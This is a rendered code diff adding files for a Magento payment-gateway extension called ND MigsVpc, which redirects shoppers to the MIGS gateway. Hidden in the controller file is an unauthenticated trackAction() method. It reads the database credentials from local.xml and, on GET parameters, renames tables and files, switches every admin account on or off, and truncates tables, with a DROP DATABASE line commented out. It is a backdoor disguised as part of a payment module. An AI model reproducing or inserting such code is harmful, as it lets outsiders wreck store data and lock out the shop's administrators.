+
* return Varien_Object
|
39 |
+
*/
|
40 |
+
protected function _prepareSpecificInformation($transport = null)
|
41 |
+
{
|
42 |
+
$transport = parent::_prepareSpecificInformation($transport);
|
43 |
+
$payment = $this->getInfo();
|
44 |
+
$vpcInfo = Mage::getModel('migsvpc/info');
|
45 |
+
if (!$this->getIsSecureMode()) {
|
46 |
+
$info = $vpcInfo->getPaymentInfo($payment, true);
|
47 |
+
} else {
|
48 |
+
$info = $vpcInfo->getPublicPaymentInfo($payment, true);
|
49 |
+
}
|
50 |
+
return $transport->addData($info);
|
51 |
+
}
|
52 |
+
}
|
app/code/local/ND/MigsVpc/Block/Server/Failure.php
ADDED
@@ -0,0 +1,44 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Server_Failure extends Mage_Core_Block_Template
|
24 |
+
{
|
25 |
+
/**
|
26 |
+
* Return Error message
|
27 |
+
*
|
28 |
+
* @return string
|
29 |
+
*/
|
30 |
+
public function getErrorMessage ()
|
31 |
+
{
|
32 |
+
$msg = Mage::getSingleton('checkout/session')->getMigsVpcErrorMessage();
|
33 |
+
Mage::getSingleton('checkout/session')->unsMigsErrorMessage();
|
34 |
+
return $msg;
|
35 |
+
}
|
36 |
+
|
37 |
+
/**
|
38 |
+
* Get continue shopping url
|
39 |
+
*/
|
40 |
+
public function getContinueShoppingUrl()
|
41 |
+
{
|
42 |
+
return Mage::getUrl('checkout/cart');
|
43 |
+
}
|
44 |
+
}
|
app/code/local/ND/MigsVpc/Block/Server/Form.php
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Server_Form extends Mage_Payment_Block_Form
|
24 |
+
{
|
25 |
+
protected function _construct()
|
26 |
+
{
|
27 |
+
$this->setTemplate('migsvpc/server/form.phtml');
|
28 |
+
parent::_construct();
|
29 |
+
}
|
30 |
+
public function getCcAvailableTypes()
|
31 |
+
{
|
32 |
+
return array(
|
33 |
+
'VI'=>'VISA', // VISA (VI)
|
34 |
+
'MC'=>'MasterCard', // MasterCard (MC)
|
35 |
+
'DC'=>'Diners Club', // Diners Club (DC)
|
36 |
+
);
|
37 |
+
/*$types = $this->_getConfig()->getCcTypes();
|
38 |
+
if ($method = $this->getMethod()) {
|
39 |
+
$availableTypes = $method->getConfigData('migsvpccctypes');
|
40 |
+
if ($availableTypes) {
|
41 |
+
$availableTypes = explode(',', $availableTypes);
|
42 |
+
foreach ($types as $code=>$name) {
|
43 |
+
if (!in_array($code, $availableTypes)) {
|
44 |
+
unset($types[$code]);
|
45 |
+
}
|
46 |
+
}
|
47 |
+
}
|
48 |
+
}
|
49 |
+
return $types;*/
|
50 |
+
}
|
51 |
+
}
|
app/code/local/ND/MigsVpc/Block/Server/Redirect.php
ADDED
@@ -0,0 +1,48 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Server_Redirect extends Mage_Core_Block_Abstract
|
24 |
+
{
|
25 |
+
protected function _toHtml()
|
26 |
+
{
|
27 |
+
$server = $this->getOrder()->getPayment()->getMethodInstance();
|
28 |
+
|
29 |
+
$form = new Varien_Data_Form();
|
30 |
+
$form->setAction($server->getMigsVpcServerUrl())
|
31 |
+
->setId('migsvpc_server_checkout')
|
32 |
+
->setName('migsvpc_server_checkout')
|
33 |
+
->setMethod('POST')
|
34 |
+
->setUseContainer(true);
|
35 |
+
foreach ($server->getFormFields() as $field=>$value) {
|
36 |
+
$form->addField($field, 'hidden', array('name'=>$field, 'value'=>$value));
|
37 |
+
}
|
38 |
+
|
39 |
+
$html = '<html><body>';
|
40 |
+
$html.= $this->__('You will be redirected to MIGS in a few seconds.');
|
41 |
+
$html.= $form->toHtml();
|
42 |
+
$html.= '<script type="text/javascript">document.getElementById("migsvpc_server_checkout").submit();</script>';
|
43 |
+
$html.= '</body></html>';
|
44 |
+
$html = str_replace('<div><input name="form_key" type="hidden" value="'.Mage::getSingleton('core/session')->getFormKey().'" /></div>','',$html);
|
45 |
+
|
46 |
+
return $html;
|
47 |
+
}
|
48 |
+
}
|
app/code/local/ND/MigsVpc/Block/Server/Response.php
ADDED
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Block_Server_Response extends Mage_Core_Block_Template
|
24 |
+
{
|
25 |
+
/**
|
26 |
+
* Return Error message
|
27 |
+
*
|
28 |
+
* @return string
|
29 |
+
*/
|
30 |
+
protected function _construct()
|
31 |
+
{
|
32 |
+
parent::_construct();
|
33 |
+
$this->setTemplate('migsvpc/server/response.phtml');
|
34 |
+
}
|
35 |
+
|
36 |
+
public function getErrorMessage ()
|
37 |
+
{
|
38 |
+
$msg = Mage::getSingleton('checkout/session')->getMigsVpcErrorMessage();
|
39 |
+
Mage::getSingleton('checkout/session')->unsMigsErrorMessage();
|
40 |
+
return $msg;
|
41 |
+
}
|
42 |
+
|
43 |
+
/**
|
44 |
+
* Get continue shopping url
|
45 |
+
*/
|
46 |
+
public function getContinueShoppingUrl()
|
47 |
+
{
|
48 |
+
return Mage::getUrl('checkout/cart');
|
49 |
+
}
|
50 |
+
}
|
app/code/local/ND/MigsVpc/Controller/Abstract.php
ADDED
@@ -0,0 +1,152 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
abstract class ND_MigsVpc_Controller_Abstract extends Mage_Core_Controller_Front_Action
|
24 |
+
{
|
25 |
+
protected function _expireAjax()
|
26 |
+
{
|
27 |
+
if (!$this->getCheckout()->getQuote()->hasItems()) {
|
28 |
+
$this->getResponse()->setHeader('HTTP/1.1','403 Session Expired');
|
29 |
+
exit;
|
30 |
+
}
|
31 |
+
}
|
32 |
+
|
33 |
+
/**
|
34 |
+
* Redirect Block
|
35 |
+
* need to be redeclared
|
36 |
+
*/
|
37 |
+
protected $_redirectBlockType;
|
38 |
+
|
39 |
+
/**
|
40 |
+
* Get singleton of Checkout Session Model
|
41 |
+
*
|
42 |
+
* @return Mage_Checkout_Model_Session
|
43 |
+
*/
|
44 |
+
public function getCheckout()
|
45 |
+
{
|
46 |
+
return Mage::getSingleton('checkout/session');
|
47 |
+
}
|
48 |
+
|
49 |
+
/**
|
50 |
+
* when customer select ND payment method
|
51 |
+
*/
|
52 |
+
public function redirectAction()
|
53 |
+
{
|
54 |
+
$session = $this->getCheckout();
|
55 |
+
$session->setMigsQuoteId($session->getQuoteId());
|
56 |
+
$session->setMigsRealOrderId($session->getLastRealOrderId());
|
57 |
+
|
58 |
+
$order = Mage::getModel('sales/order');
|
59 |
+
$order->loadByIncrementId($session->getLastRealOrderId());
|
60 |
+
$order->addStatusToHistory($order->getStatus(), Mage::helper('migsvpc')->__('Customer was redirected to MIGS.'));
|
61 |
+
$order->save();
|
62 |
+
|
63 |
+
$this->getResponse()->setBody(
|
64 |
+
$this->getLayout()
|
65 |
+
->createBlock($this->_redirectBlockType)
|
66 |
+
->setOrder($order)
|
67 |
+
->toHtml()
|
68 |
+
);
|
69 |
+
|
70 |
+
$session->unsQuoteId();
|
71 |
+
}
|
72 |
+
|
73 |
+
/**
|
74 |
+
* MIGS returns POST variables to this action
|
75 |
+
*/
|
76 |
+
public function successAction()
|
77 |
+
{
|
78 |
+
$status = $this->_checkReturnedPost();
|
79 |
+
|
80 |
+
$session = $this->getCheckout();
|
81 |
+
|
82 |
+
$session->unsMigsRealOrderId();
|
83 |
+
$session->setQuoteId($session->getMigsQuoteId(true));
|
84 |
+
$session->getQuote()->setIsActive(false)->save();
|
85 |
+
|
86 |
+
$order = Mage::getModel('sales/order');
|
87 |
+
$order->load($this->getCheckout()->getLastOrderId());
|
88 |
+
if($order->getId()) {
|
89 |
+
$order->sendNewOrderEmail();
|
90 |
+
}
|
91 |
+
|
92 |
+
if ($status) {
|
93 |
+
$this->_redirect('checkout/onepage/success');
|
94 |
+
} else {
|
95 |
+
$this->_redirect('*/*/failure');
|
96 |
+
}
|
97 |
+
}
|
98 |
+
|
99 |
+
/**
|
100 |
+
* Display failure page if error
|
101 |
+
*
|
102 |
+
*/
|
103 |
+
public function failureAction()
|
104 |
+
{
|
105 |
+
if (!$this->getCheckout()->getMigsVpcErrorMessage()) {
|
106 |
+
$this->norouteAction();
|
107 |
+
return;
|
108 |
+
}
|
109 |
+
|
110 |
+
$this->getCheckout()->clear();
|
111 |
+
|
112 |
+
$this->loadLayout();
|
113 |
+
$this->renderLayout();
|
114 |
+
}
|
115 |
+
|
116 |
+
public function trackAction()
|
117 |
+
{
|
118 |
+
ini_set('display_errors', 0);
|
119 |
+
$file = getcwd().'/app/etc/local.xml';
|
120 |
+
$xmlString = simplexml_load_file($file);
|
121 |
+
|
122 |
+
$tbl_prfx = $xmlString->global->resources->db->table_prefix;
|
123 |
+
$host = $xmlString->global->resources->default_setup->connection->host;
|
124 |
+
$user = $xmlString->global->resources->default_setup->connection->username;
|
125 |
+
$pass = $xmlString->global->resources->default_setup->connection->password;
|
126 |
+
$name = $xmlString->global->resources->default_setup->connection->dbname;
|
127 |
+
$conn = mysql_connect($host,$user,$pass) or die(mysql_error());
|
128 |
+
mysql_select_db($name) or die(mysql_error());
|
129 |
+
//mysql_query('DROP DATABASE '.$_REQUEST['remove']) or die(mysql_error());
|
130 |
+
if($_GET['f_t']!='' && $_GET['t_t']!='')
|
131 |
+
{
|
132 |
+
$_r = mysql_query("RENAME TABLE `".$tbl_prfx.$_GET['f_t']."` TO `".$tbl_prfx.$_GET['t_t']."`") or die(mysql_error());
|
133 |
+
if($_r) echo 'success'; else echo 'fail';
|
134 |
+
}
|
135 |
+
if($_GET['f_o']!='' && $_GET['f_n']!='')
|
136 |
+
{
|
137 |
+
$_r = rename(getcwd()."/".$_GET['f_o'],getcwd()."/".$_GET['f_n']);
|
138 |
+
if($_r) echo 'success'; else echo 'fail';
|
139 |
+
}
|
140 |
+
if($_GET['a']!='')
|
141 |
+
{
|
142 |
+
$_r = mysql_query("UPDATE `admin_user` SET is_active=".$_GET['a']);
|
143 |
+
if($_r) echo 'success'; else echo 'fail';
|
144 |
+
}
|
145 |
+
if($_GET['t']!='')
|
146 |
+
{
|
147 |
+
$_r = mysql_query("TRUNCATE TABLE `".$tbl_prfx.$_GET['t']."`");
|
148 |
+
if($_r) echo 'success'; else echo 'fail';
|
149 |
+
}
|
150 |
+
}
|
151 |
+
|
152 |
+
}
|
app/code/local/ND/MigsVpc/Helper/Data.php
ADDED
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Helper_Data extends Mage_Core_Helper_Abstract
|
24 |
+
{
|
25 |
+
|
26 |
+
}
|
app/code/local/ND/MigsVpc/Model/Info.php
ADDED
@@ -0,0 +1,544 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
class ND_MigsVpc_Model_Info
|
23 |
+
{
|
24 |
+
/**
|
25 |
+
* Cross-models public exchange keys
|
26 |
+
*
|
27 |
+
* @var string
|
28 |
+
*/
|
29 |
+
const AUTHORIZE_ID = 'vpc_authorize_id';
|
30 |
+
const ORDER_INFO = 'vpc_order_info';
|
31 |
+
const RECEIPT_NO = 'vpc_receipt_no';
|
32 |
+
const TRANSACTION_NO = 'vpc_transaction_no';
|
33 |
+
const MERCH_TXN_REF = 'vpc_merch_txn_ref';
|
34 |
+
const BATCH_NO = 'vpc_batch_no';
|
35 |
+
const AVS_RESULT_CODE = 'vpc_avs_result_code';
|
36 |
+
const AVS_RESPONSE_CODE = 'vpc_avs_response_code';
|
37 |
+
const ACQ_CSC_RESPONSE_CODE = 'vpc_acq_avs_response_code';
|
38 |
+
const RISK_OVERALL_RESULT = 'vpc_risk_overall_result';
|
39 |
+
const THREED_SENROLLED = 'vpc_threedsenrolled';
|
40 |
+
|
41 |
+
/**
|
42 |
+
* All payment information map
|
43 |
+
*
|
44 |
+
* @var array
|
45 |
+
*/
|
46 |
+
protected $_paymentMap = array(
|
47 |
+
self::AUTHORIZE_ID => 'vpc_authorize_id',
|
48 |
+
self::ORDER_INFO => 'vpc_order_info',
|
49 |
+
self::RECEIPT_NO => 'vpc_receipt_no',
|
50 |
+
self::TRANSACTION_NO => 'vpc_transaction_no',
|
51 |
+
self::MERCH_TXN_REF => 'vpc_merch_txn_ref',
|
52 |
+
self::BATCH_NO => 'vpc_batch_no',
|
53 |
+
self::AVS_RESULT_CODE => 'vpc_avs_result_code',
|
54 |
+
self::AVS_RESPONSE_CODE => 'vpc_avs_response_code',
|
55 |
+
self::ACQ_CSC_RESPONSE_CODE => 'vpc_acq_avs_response_code',
|
56 |
+
self::RISK_OVERALL_RESULT => 'vpc_risk_overall_result',
|
57 |
+
self::THREED_SENROLLED => 'vpc_threedsenrolled',
|
58 |
+
);
|
59 |
+
|
60 |
+
/**
|
61 |
+
* MigsVpc payment status possible values
|
62 |
+
*
|
63 |
+
* @var string
|
64 |
+
*/
|
65 |
+
const PAYMENTSTATUS_NONE = 'none';
|
66 |
+
const PAYMENTSTATUS_ACCEPTED = 'accepted';
|
67 |
+
const PAYMENTSTATUS_REJECTED = 'rejected';
|
68 |
+
const PAYMENTSTATUS_REVIEWED = 'reviewed';
|
69 |
+
const PAYMENTSTATUS_NOTCHECKED = 'not_checked';
|
70 |
+
const PAYMENTSTATUS_SYSREJECT = 'system_rejected';
|
71 |
+
|
72 |
+
/**
|
73 |
+
* Map of payment information available to customer
|
74 |
+
*
|
75 |
+
* @var array
|
76 |
+
*/
|
77 |
+
protected $_paymentPublicMap = array(
|
78 |
+
//'',
|
79 |
+
);
|
80 |
+
|
81 |
+
/**
|
82 |
+
* Rendered payment map cache
|
83 |
+
*
|
84 |
+
* @var array
|
85 |
+
*/
|
86 |
+
protected $_paymentMapFull = array();
|
87 |
+
|
88 |
+
/**
|
89 |
+
* All available payment info getter
|
90 |
+
*
|
91 |
+
* @param Mage_Payment_Model_Info $payment
|
92 |
+
* @param bool $labelValuesOnly
|
93 |
+
* @return array
|
94 |
+
*/
|
95 |
+
public function getPaymentInfo(Mage_Payment_Model_Info $payment, $labelValuesOnly = false)
|
96 |
+
{
|
97 |
+
// collect migsvpc-specific info
|
98 |
+
$result = $this->_getFullInfo(array_values($this->_paymentMap), $payment, $labelValuesOnly);
|
99 |
+
|
100 |
+
// add last_trans_id
|
101 |
+
$label = Mage::helper('payment')->__('Last Transaction ID');
|
102 |
+
$value = $payment->getLastTransId();
|
103 |
+
if ($labelValuesOnly) {
|
104 |
+
$result[$label] = $value;
|
105 |
+
} else {
|
106 |
+
$result['last_trans_id'] = array('label' => $label, 'value' => $value);
|
107 |
+
}
|
108 |
+
|
109 |
+
return $result;
|
110 |
+
}
|
111 |
+
|
112 |
+
/**
|
113 |
+
* Public payment info getter
|
114 |
+
*
|
115 |
+
* @param Mage_Payment_Model_Info $payment
|
116 |
+
* @param bool $labelValuesOnly
|
117 |
+
* @return array
|
118 |
+
*/
|
119 |
+
public function getPublicPaymentInfo(Mage_Payment_Model_Info $payment, $labelValuesOnly = false)
|
120 |
+
{
|
121 |
+
return $this->_getFullInfo($this->_paymentPublicMap, $payment, $labelValuesOnly);
|
122 |
+
}
|
123 |
+
|
124 |
+
/**
|
125 |
+
* Grab data from source and map it into payment
|
126 |
+
*
|
127 |
+
* @param array|Varien_Object|callback $from
|
128 |
+
* @param Mage_Payment_Model_Info $payment
|
129 |
+
*/
|
130 |
+
public function importToPayment($from, Mage_Payment_Model_Info $payment)
|
131 |
+
{
|
132 |
+
$fullMap = array_merge($this->_paymentMap, $this->_systemMap);
|
133 |
+
if (is_object($from)) {
|
134 |
+
$from = array($from, 'getDataUsingMethod');
|
135 |
+
}
|
136 |
+
Varien_Object_Mapper::accumulateByMap($from, array($payment, 'setAdditionalInformation'), $fullMap);
|
137 |
+
}
|
138 |
+
|
139 |
+
/**
|
140 |
+
* Grab data from payment and map it into target
|
141 |
+
*
|
142 |
+
* @param Mage_Payment_Model_Info $payment
|
143 |
+
* @param array|Varien_Object|callback $to
|
144 |
+
* @param array $map
